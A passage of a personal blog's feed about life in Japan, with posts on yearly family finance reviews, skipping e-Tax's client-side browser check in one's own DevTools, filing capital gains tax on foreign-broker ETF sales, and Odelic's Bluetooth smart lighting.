&lt;p&gt;This is &lt;a href=&quot;https://www.reddit.com/r/PersonalFinanceCanada/comments/14inijn/family_finance_meetings_with_spouse/&quot;&gt;where there are various opinions from monthly, quarterly to yearly&lt;/a&gt;. For now, we started doing this financial review meetings once a year around new year. It is a good time to look back at a full calendar year, and it is also the time when we have more time both to collect the data, and also to discuss it. It is also the time to make plans and resolutions for the new year, to which this data is helpful.&lt;/p&gt;

&lt;h2 id=&quot;how&quot;&gt;How&lt;/h2&gt;

&lt;p&gt;For the first trial I made a presentation with the following sections:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Highlights - major events of the year for our family&lt;/li&gt;
  &lt;li&gt;Utilities - I have the data already collected, so we checked how much we spent on utilities over the year. Our new house will have solar panels, so I’m looking forward to seeing the drop year-on-year once we move in.&lt;/li&gt;
  &lt;li&gt;Net income&lt;/li&gt;
  &lt;li&gt;Spending per category&lt;/li&gt;
  &lt;li&gt;New saving and investing&lt;/li&gt;
  &lt;li&gt;Investment growth over the last year&lt;/li&gt;
  &lt;li&gt;Market moves of the last year - we invest in total-world funds, S&amp;amp;P500 funds, so the moves of those two, and the yen-dollar exchange rate changes&lt;/li&gt;
  &lt;li&gt;A bit of an outlook of the potential future value of our investments&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For each of these, I also added the previous year’s value and a year-over-year change with explanation (e.g. income is up, due to promotion; extra expenses is up due to more expensive flights; nursery introduced as a new category).&lt;/p&gt;

&lt;p&gt;What I learned is that while we are looking at values from a full year, it is more intuitive to see it per month. E.g. saying that we spent 1.5 million yen on pocket money (between the two of us) sounds a lot (almost the price of a small car), but if instead we say that 125,000 yen a month, that’s more like the actual number we experienced.&lt;/p&gt;

&lt;p&gt;The last part was also interesting/important. Last year, 2024, was exceptional for both the US and the global stock market, while the yen kept getting weaker further adding to the returns expressed in yen. The S&amp;amp;P500 fund in yen went up 41% (while the total world fund was up 32%). This is highly unlikely to repeat itself over the coming years, so we looked back at the historical stock market returns and had a conversation about investing in general and how the market goes up and down. We also looked at the current value of our portfolios and potential future values if the market keeps going up or if the market crashes 35%. Seeing the actual yen values is much more meaningful than simply the percentages. And after a year of 30-40% returns, even the 35% drop feels just returning to the value a year ago, so it didn’t feel as bad. But if we take today’s value as the new basis, then even a 10% drop would feel like a lot.&lt;/p&gt;

&lt;p&gt;In hindsight, especially after the market drops of the last week, this was a very good idea. To put things into perspective, the &lt;a href=&quot;https://emaxis.am.mufg.jp/fund/253266.html&quot;&gt;ｅＭＡＸＩＳ Ｓｌｉｍ 米国株式（Ｓ＆Ｐ５００）&lt;/a&gt; fund went from 24,281 yen to 34,182 yen during the course of 2024 (+41%), and at the time of writing it is back at 29,711 yen. So after a 41% increase in 2024, now it is down 13% year-to-date. Discussing the possibility of a 35%  drop and seeing the value of our holdings in that case helped us prepare for this, and reduce the stress now.&lt;/p&gt;

&lt;p&gt;I originally wanted to do this to prepare my wife, as I am interested in investing, has been looking into this a lot (mainly listening to the &lt;a href=&quot;https://rationalreminder.ca/podcast&quot;&gt;RR podcast&lt;/a&gt;), and I felt that I was prepared. However after going through the exercise and seeing both historical returns year-over-year, as well as the potential loss if the market drops helped me internalize it more, and significantly reduced the worry now after an actual market drop.&lt;/p&gt;

&lt;p&gt;So that’s how I run our first family finance meeting, and how we plan to do it going forward. Let me know in the comments if you do similar, organized discussions about money and how you go about them.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Using e-Tax from a non-supported browser</title>
   <link href="https://szabo.jp/2025/03/11/etax-browser-check-bypass/"/>
   <updated>2025-03-11T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/03/11/etax-browser-check-bypass</id>
   <content type="html">&lt;p&gt;Japan’s online tax filing system, &lt;a href=&quot;https://www.e-tax.nta.go.jp/&quot;&gt;e-Tax&lt;/a&gt;, only supports a &lt;a href=&quot;https://www.e-tax.nta.go.jp/e-taxsoftweb/e-taxsoftweb1.htm&quot;&gt;handful of operating systems and browsers&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Windows 10 or 11 with either Microsoft Edge or Google Chrome&lt;/li&gt;
  &lt;li&gt;MacOS 12-15 with Safari&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(Moreover officially the operating system has to be set to Japanese, though I don’t think they check this one.)&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;If you are coming from a non-supported configuration, then e-Tax refuses to start at all and simply displays an error message.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-etax-browser-check-bypass/01-unsupported-browser.png#lb&quot; alt=&quot;You shall not pass&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is an issue. I use a Chromebook as my daily driver, which is entirely unsupported, together with any Linux box. Moreover on MacOS one has to use Safari and can’t use Chrome, even though the latter has better website translation feature.&lt;/p&gt;

&lt;p&gt;Fortunately the check happens only once in the beginning of the flow, and it is done entirely on the client side. This means that it is fairly easy to bypass it and make the site believe that it is running in a supported environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt;: doing so goes against the intentions of the website developers and means that you will be using a setup that wasn’t tested. While modern browsers behave almost the same (and especially Chrome on Windows is very similar to Chrome on other platforms) there can still be cases that won’t work as expected. Proceed at your own risk.&lt;/p&gt;

&lt;p&gt;When one clicks on the start button, the following happens:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;The site checks if the browser is supported&lt;/li&gt;
  &lt;li&gt;If not, the message is shown. If yes, the flow starts&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To bypass the check, we will stop between these two steps and change the result to say that the browser is supported. To do this we need to:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Go to the site that displays the error message&lt;/li&gt;
  &lt;li&gt;Right click on the site, select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Inspect&lt;/code&gt; to open the DevTools&lt;/li&gt;
  &lt;li&gt;Go to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sources&lt;/code&gt; tab&lt;/li&gt;
  &lt;li&gt;Press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl + F&lt;/code&gt; to open the search&lt;/li&gt;
  &lt;li&gt;Search for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;browser&lt;/code&gt;. It should find a code snippet like this:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-etax-browser-check-bypass/02-breakpoint.png#lb&quot; alt=&quot;We will put a breakpoint here&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The full line is&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;returninfo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;termnalInfomationCheckOS_myNumberLinkage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;qrCodeReadingFlag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;osType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;recommendedOsAsEtax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;recommendedBrowserAsEtax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ol&gt;
  &lt;li&gt;Click on the line number to place a breakpoint here. This  will make the browser stop the execution whenever this line is to be executed.&lt;/li&gt;
  &lt;li&gt;On the site, press the button again&lt;/li&gt;
  &lt;li&gt;The breakpoint will be hit and the execution will pause&lt;/li&gt;
  &lt;li&gt;Switch over to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Console&lt;/code&gt; tab. Now we can see the values of the variables and we can also change them. From the code, we can see that the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;returninfo&lt;/code&gt; is the one holding the information about whether the browser is supported or not. Currently &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;returninfo.errcode&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-1&lt;/code&gt;. Let’s set it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; (success) by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;returninfo.errcode = 0;&lt;/code&gt; in the console&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-etax-browser-check-bypass/03-update-the-variables.png#lb&quot; alt=&quot;Updating the variable&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Continue the execution with the ▶️ button (might be in the top middle of the grayed-out page)&lt;/li&gt;
  &lt;li&gt;The flow should start as if the browser is a supported one&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Calculating and declaring capital gains tax in Japan</title>
   <link href="https://szabo.jp/2025/03/11/capital-gains-tax/"/>
   <updated>2025-03-11T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/03/11/capital-gains-tax</id>
   <content type="html">&lt;p&gt;Last year I sold some ETFs in my Interactive Brokers account, which doesn’t withhold taxes in Japan, so I had to report it in my tax return (確定申告) and pay tax on it. In this post I’ll share how I went about this.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This is not tax advice, and it might be incorrect/incomplete or simply doesn’t apply to your situation. Do your own research and do not follow this blindly.&lt;/em&gt;&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;step-1-do-i-need-to-pay-tax&quot;&gt;Step 1: do I need to pay tax?&lt;/h2&gt;

&lt;p&gt;First things first: capital gains from stocks, ETFs, funds, etc., are only taxable when one sells something for more than they bought it for. Just because the value of your holdings went up, it is not a taxable until you sell it (in general). Also if you sell something at a loss, you don’t have to pay tax on it, but you can use it to offset gains and reduce your tax.&lt;/p&gt;

&lt;p&gt;Japan is actually pretty good about helping people not have to worry about capital gains tax. Japanese brokerages will withhold the tax (unless you ask them not to), and one doesn’t need to include these in their tax return, even if they file a tax return for other reasons (e.g. &lt;a href=&quot;/2024/02/03/medical-tax-deduction/&quot;&gt;medical deductions&lt;/a&gt;). The reason this doesn’t help me is that I opened an account with Interactive Brokers LLC (when they still allowed that in Japan, nowadays they only let people open accounts with Interactive Brokers Japan that will withhold taxes for you).&lt;/p&gt;

&lt;p&gt;Moreover when a foreigner living in Japan is not yet a permanent tax resident, some capital gains are not taxed in Japan, so if this applies to you, look into this more. I’m a permanent tax resident already, so this didn’t apply to me.&lt;/p&gt;

&lt;p&gt;As a Hungarian citizen with tax residency in Japan, I am not required to file taxes in Hungary, and as long as I declare all my income in Japan and pay taxes here, I’m good. But other countries might require you to file taxes there too.&lt;/p&gt;

&lt;h2 id=&quot;step-2-calculating-the-tax&quot;&gt;Step 2: calculating the tax&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;TLDR: Japan counts in yen.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s start with an example:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;on January 11th, 2022: I bought 60 shares of SIVR ETFs for $21.73 a piece for an overall of $1,303.80&lt;/li&gt;
  &lt;li&gt;on May 2nd, 2024: I sold all of them for $25.15 a piece for an overall of $1,508.70&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So I made $204.90, right? Interactive Brokers will actually show this number and then convert it to yen on the exchange rate of the day of sale, getting to 31,482.90 yen. However the NTA calculates differently as they only think in yen. So in their thinking:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;on January 11th, 2022: I bought the shares for 151,684 yen ($1,303.80 in yen on that day)&lt;/li&gt;
  &lt;li&gt;on May 2nd, 2024: I sold the shares for 234,060 yen ($1,508.70 in yen on that day)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So according to NTA my gain was 82,376 yen, quite a bit more than the other calculation (due to the yen’s depreciation in this time). It doesn’t matter if I did the currency conversions on that day or not, this is how the NTA calculates the tax, so this is how I have to do it too.&lt;/p&gt;

&lt;p&gt;There is one additional detail: transaction fees can be deducted from the gains. So the cost basis gets a bit higher, and the final sale price a bit lower. This concept applies to exchange rates too, but more on that later.&lt;/p&gt;

&lt;h3 id=&quot;multiple-purchases&quot;&gt;Multiple purchases&lt;/h3&gt;

&lt;p&gt;If one has bought the same stocks multiple times in the past, then NTA uses the weighted average method to calculate the acquisition price: e.g. if you bought 100 stocks for 10,000 yen a piece, then 200 stocks for 12,000 yen a piece. Overall you spent &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;100*10,000+200*12,000=3,400,000&lt;/code&gt; for 300 stocks, so the average price is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3,400,000/300=11,333.33&lt;/code&gt; yen. If one would to sell e.g. 10 stocks, then their cost basis would be 113,333.33 yen. &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1466.htm&quot;&gt;Source and more official examples are here.&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;exchange-rates&quot;&gt;Exchange rates&lt;/h3&gt;

&lt;p&gt;For the historic exchange rates I found that many online sources recommend &lt;a href=&quot;https://www.murc-kawasesouba.jp/fx/past_3month.php&quot;&gt;MUFG’s spreadsheets&lt;/a&gt; that go back a long time, so I was using this. This includes 3 values for each day:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;TTS: the amount of yen I have to pay to get 1 dollar (highest of the 3)&lt;/li&gt;
  &lt;li&gt;TTB: the amount of yen I get for 1 dollar (lowest of the 3)&lt;/li&gt;
  &lt;li&gt;TTM: mid-price of the above two&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I use TTS when buying stocks, since I take my yen, convert it to dollar at TTS, then buy the stock. When selling the stock, it’s TTB: I sell the stock then convert the dollars to yen at TTB. This calculation works in our favor (reduces the gains in yen slightly to account for the fee of the conversion). (&lt;a href=&quot;https://www.nta.go.jp/law/tsutatsu/kihon/hojin/13_2/13_2_01.htm&quot;&gt;Source1&lt;/a&gt;, &lt;a href=&quot;https://www.nta.go.jp/law/tsutatsu/kobetsu/shotoku/sochiho/020624/sanrin/1273/37_10-11/01.htm&quot;&gt;Source2&lt;/a&gt;).&lt;/p&gt;

&lt;h3 id=&quot;steps-to-calculate-the-gains&quot;&gt;Steps to calculate the gains&lt;/h3&gt;

&lt;p&gt;Summarizing the above for the simple case of buying once and then selling it all at once, we have to do the following steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Record the purchase price in dollar&lt;/li&gt;
  &lt;li&gt;Add any transaction fees. This is your cost basis in dollar&lt;/li&gt;
  &lt;li&gt;Look up the TTS on that day and use it to convert it to yen. This is your cost basis in yen&lt;/li&gt;
  &lt;li&gt;Record the sold price in dollar&lt;/li&gt;
  &lt;li&gt;Subtract any transaction fees&lt;/li&gt;
  &lt;li&gt;Look up the TTB for the day of sale and use it to convert it to yen.&lt;/li&gt;
  &lt;li&gt;Subtract the cost basis in yen from this, and you got your gains.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;calculate-the-tax&quot;&gt;Calculate the tax&lt;/h3&gt;

&lt;p&gt;[edit on 2025. Nov 23.]: an earlier version of this post incorrectly said that the capital gains have two taxation method one can choose from. In reality, that choice is only available for dividend income: &lt;a href=&quot;https://www.nta.go.jp/english/taxes/individual/pdf/incometax_2024/17.pdf&quot;&gt;source&lt;/a&gt;. Thanks to &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/1p3ra3p/comment/nqa6mj1/&quot;&gt;starkimpossibility over at JapanFinance for catching this mistake&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In principal, capital gains are taxed at a flat 15% rate, regardless of other income.&lt;/p&gt;

&lt;p&gt;One more thing: after the Great East Japan Earthquake of 2011, an additional tax was introduced to help fund recovery efforts. This is called the “Special Income Tax for Reconstruction” (復興特別所得税) and it adds an additional 2.1% on top of all income tax. So the 15% becomes 15*1.021=15.315%. This additional tax was introduced in 2013 and is currently set to continue until 2037 (&lt;a href=&quot;https://www.nta.go.jp/english/taxes/individual/pdf/incometax_2024/04.pdf&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Moreover there is an additional 5% residence tax that one will have to pay to their local municipality, but that is billed in June the year after the income was realized and then either paid in lump sum or deducted from the salary during the next 12 months.&lt;/p&gt;

&lt;p&gt;TLDR: the tax to pay at filing time is 15.315% of the gains. Then from June, the residence tax goes up with an additional 5% of the gains.&lt;/p&gt;

&lt;h2 id=&quot;step-3-tax-filing&quot;&gt;Step 3: tax filing&lt;/h2&gt;

&lt;p&gt;Once we are done with the calculation, the actual filing is pretty straightforward.&lt;/p&gt;

&lt;h3 id=&quot;1-indicate-that-we-have-income-from-capital-gains&quot;&gt;1. Indicate that we have income from capital gains&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/01-income-type-selection.png#lb&quot; alt=&quot;Select Income from selling stocks, receiving dividends 株式等の譲渡（売却）、配当、利子&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;2-on-the-income-page-select-the-capital-gains-dividends-box&quot;&gt;2. On the income page, select the capital gains, dividends box&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/02-income-box-of-capital-gains.png#lb&quot; alt=&quot;Once filled out, it will be shown here too&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3-decide-whether-you-have-a-special-account-you-want-to-report&quot;&gt;3. Decide whether you have a special account you want to report&lt;/h3&gt;

&lt;p&gt;As far as I know these are accounts that withhold taxes, so one would only need to report them if they want to use losses there to offset other gains.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/03-special-account-to-report-on.png#lb&quot; alt=&quot;I chose no here&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;4-i-have-a-non-special-account-to-report&quot;&gt;4. I have a non-special account to report&lt;/h3&gt;

&lt;p&gt;And I sold &lt;a href=&quot;https://www.keisan.nta.go.jp/r6yokuaru/cat2/cat21/cat219/yogosetsumei/jojokabushiki.html&quot;&gt;listed stocks, 上場株式等&lt;/a&gt; (as opposed to common stocks which mean unlisted).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/04-non-special-account-with-listed-stocks-sold.png#lb&quot; alt=&quot;The on-site help is very useful for these options&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;5-go-to-input&quot;&gt;5. Go to input&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/05-go-for-input.png#lb&quot; alt=&quot;Continue to input the details&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;6-detailed-reporting-or-summary-only&quot;&gt;6. Detailed reporting or summary only&lt;/h3&gt;

&lt;p&gt;On the next page we can select whether we want to input the details of each transaction, or just the summary. I will show both.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/06-details-or-summary.png#lb&quot; alt=&quot;I chose the detailed input here, the summary would be the other option&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;7a-entering-the-details-of-a-transaction&quot;&gt;7a Entering the details of a transaction&lt;/h3&gt;

&lt;p&gt;Example input and official explanation is available &lt;a href=&quot;https://www.keisan.nta.go.jp/r6yokuaru/ocat3/ocat33/cid1084.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The fields are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Day of the sale&lt;/li&gt;
  &lt;li&gt;Name of the company - I used the ticker symbol&lt;/li&gt;
  &lt;li&gt;Number of stocks sold&lt;/li&gt;
  &lt;li&gt;Brokerage - I wrote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;インタラクティブ・ブローカーズ証券株式会社&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Sold price&lt;/li&gt;
  &lt;li&gt;Cost basis (purchase price minus transaction fees at purchase)&lt;/li&gt;
  &lt;li&gt;Transaction fees at selling&lt;/li&gt;
  &lt;li&gt;Day of purchase - if purchased multiple times, enter the most recent date&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/07a-details.png#lb&quot; alt=&quot;Enter the details of a transaction&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then repeat this for all transactions, and the summary page will show the sum of all input.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/07a-details-summary.png#lb&quot; alt=&quot;Summary of the individual transactions&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the next page we have 3 more fields that I left empty:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Any additional income from selling the stocks&lt;/li&gt;
  &lt;li&gt;Any other expenses associated with the transaction (name and amount)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/07a-post-details.png#lb&quot; alt=&quot;Summary of the individual transactions&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;7b-entering-the-summary-only&quot;&gt;7b Entering the summary-only&lt;/h3&gt;

&lt;p&gt;Alternatively one can simply enter the final summary of all trades.&lt;/p&gt;

&lt;p&gt;Fields here are the same as on the last page of the previous method, but we have to enter everything ourselves:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Overall sold price&lt;/li&gt;
  &lt;li&gt;Any additional income from selling the stocks (I left it empty)&lt;/li&gt;
  &lt;li&gt;Overall cost basis (purchase price minus transaction fees at purchase)&lt;/li&gt;
  &lt;li&gt;Overall transaction fees at selling&lt;/li&gt;
  &lt;li&gt;Any other expenses associated with the transaction (name and amount) - I left this empty too&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/07b-summary-only.png#lb&quot; alt=&quot;Entering only the summary of the transactions&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;8-confirm-the-capital-gains-income&quot;&gt;8 Confirm the capital gains income&lt;/h3&gt;

&lt;p&gt;Once we are done and return to the main incomes page, a confirmation message will show the overall income from capital gains. Check this with your own calculations to ensure you entered everything correctly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-03-11-capital-gains-tax/08-confirmation.png#lb&quot; alt=&quot;Confirmation of the capital gains amount&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And that’s it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;As I said on the top, this is not tax advice. Check the linked sources and do your own research.&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Odelic Connected Lighting</title>
   <link href="https://szabo.jp/2025/01/26/odelic-connected-lighting/"/>
   <updated>2025-01-26T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/01/26/odelic-connected-lighting</id>
   <content type="html">&lt;p&gt;We are building a house, and I recently &lt;a href=&quot;/2024/07/28/smart-lights-overview/&quot;&gt;looked into smart lighting and light switches&lt;/a&gt; concluding that the best option for us was likely Panasonic’s Advance Series Link Plus, which later &lt;a href=&quot;/2024/11/10/panasonic-advance-series-link-plus/&quot;&gt;I did a deep-dive on&lt;/a&gt;. Then I took a look at &lt;a href=&quot;/2025/01/25/tree-koizumi-smart-lights/&quot;&gt;Koizumi’s TRee system&lt;/a&gt;, and now to finish up my investigation into Japanese smart lighting systems, I will share what I learned about &lt;a href=&quot;https://www.odelic.co.jp/products/connectedlighting/home/&quot;&gt;Odelic’s Connected Lighting&lt;/a&gt;.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;the-system&quot;&gt;The system&lt;/h2&gt;

&lt;p&gt;Unlike Panasonic’s and Koizumi’s setup, Odelic’s Connected Lighting doesn’t offer switches in the traditional sense (something that starts/stops the flow of electricity), instead the lights are meant to be  connected to power at all times and then remote controllers are used to turn them on or off (a bit similar to Phillips Hue). They do make some switch-like remote controllers though:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/switch.png#lb&quot; alt=&quot;Switch-looking controller with a joystick for brightness and color control (source: www.odelic.co.jp)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Both the switches and the controllers use Bluetooth (presumably BLE).&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.odelic.co.jp/products/connectedlighting/qa/&quot;&gt;FAQ&lt;/a&gt; still recommends to have a real light switch as it is required for pairing or when the remote runs out of battery:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Q.3 Bluetooth(無線)制御だからスイッチは 不要ですか？&lt;/p&gt;

  &lt;p&gt;A.3 必ず壁スイッチを設置してください。 初回接続設定(器具登録)をおこなう時に、壁スイッチが必ず必要です。コントローラー(リモコン・タブレット・スマートフォン)の電池切れや故障の際の点灯に必要です。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I talked about why I prefer a system with real smart switches &lt;a href=&quot;/2024/07/28/smart-lights-overview/&quot;&gt;in my first post on the topic&lt;/a&gt;, but due to that preference, these controllers won’t change my choice for Panasonic’s smart switches.&lt;/p&gt;

&lt;h2 id=&quot;light-options-excellent&quot;&gt;Light options: excellent&lt;/h2&gt;

&lt;p&gt;Many of their lights are available in smart version and everything is part of this single system. Also they mark it very clearly in their catalog and in the showroom which light is smart. Moreover since the light itself is smart, almost all of them allow adjustment of not only the brightness but also the color temperature or color (full RGB range).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/lights.png#lb&quot; alt=&quot;My photo taken in the showroom showing some bracket lights and their connected version&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;control-options-mixed&quot;&gt;Control options: mixed&lt;/h2&gt;

&lt;p&gt;Despite the system running on Bluetooth, the control options could be improved.&lt;/p&gt;

&lt;h3 id=&quot;remote-controllers&quot;&gt;Remote controllers&lt;/h3&gt;

&lt;p&gt;The physical remote controllers seem to be working well (at least in the showroom they were fine, I didn’t have the opportunity to do the pairing process though). Also they are available in multiple form-factors, which is pretty nice:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/controllers.png#lb&quot; alt=&quot;The various controller options (source: www.odelic.co.jp)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I personally like the idea of having that joystick in the middle of the switch to control the brightness and color, while the top/bottom of the switch turns it on/off.&lt;/p&gt;

&lt;p&gt;The touchless switch is pretty interesting too and worked as expected in the showroom:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-01-26-odelic-connected-lighting/touchless-switch.jpg#lb&quot; alt=&quot;Touchless switch - just hold your hand in front of it&quot; /&gt;&lt;/p&gt;

&lt;p&gt;These definitely feel like the main way how the designers thought about people using the system.&lt;/p&gt;

&lt;h3 id=&quot;motion-sensors&quot;&gt;Motion sensors&lt;/h3&gt;

&lt;p&gt;Odelic offers a few &lt;a href=&quot;https://www.odelic.co.jp/products/2019special/bluetooth_sensor/&quot;&gt;motion sensors that also communicate via Bluetooth&lt;/a&gt; so they can control the lights. I couldn’t find these in the showroom, so I’m not sure how well they work.&lt;/p&gt;

&lt;h3 id=&quot;smart-phone&quot;&gt;Smart phone&lt;/h3&gt;

&lt;p&gt;The site &lt;a href=&quot;https://www.odelic.co.jp/products/connectedlighting/app/&quot;&gt;lists controlling from smart phone&lt;/a&gt; with linking to both an &lt;a href=&quot;https://play.google.com/store/apps/details?id=jp.co.odelic.smt.remote10&amp;amp;hl=en&quot;&gt;Android&lt;/a&gt; and an &lt;a href=&quot;https://apps.apple.com/jp/app/connected-lighting-for-home%E7%B0%A1%E6%98%93%E7%89%88/id1169981880&quot;&gt;iOS&lt;/a&gt; app and highlighting the following feautres:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;お手持ちのスマートフォンをリモコンとして、調光・調色ができます。&lt;/p&gt;

  &lt;p&gt;5シーンまで登録設定ができます。&lt;/p&gt;

  &lt;p&gt;就寝前、お目覚め時のあかりをタイマー設定ができます。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Translation:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;You can use your smartphone as a remote control to adjust the brightness and color.&lt;/p&gt;

  &lt;p&gt;Up to five scenes can be registered.&lt;/p&gt;

  &lt;p&gt;You can set a timer for the lights before you go to sleep and when you wake up.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However their &lt;a href=&quot;https://www.odelic.co.jp/products/connectedlighting/qa/&quot;&gt;FAQ&lt;/a&gt; says the Connected lighting doesn’t use the Internet, so it cannot be controlled from outside the home:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Q.8 外出先から防犯のためにON/OFFしたいのですが、可能ですか？&lt;/p&gt;

  &lt;p&gt;A.8 コネクテッドライティングはインターネットを使用していないため、外出先からの操作はできません。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So the app likely works with local Bluetooth only. I wonder if this could be a problem in bigger homes.&lt;/p&gt;

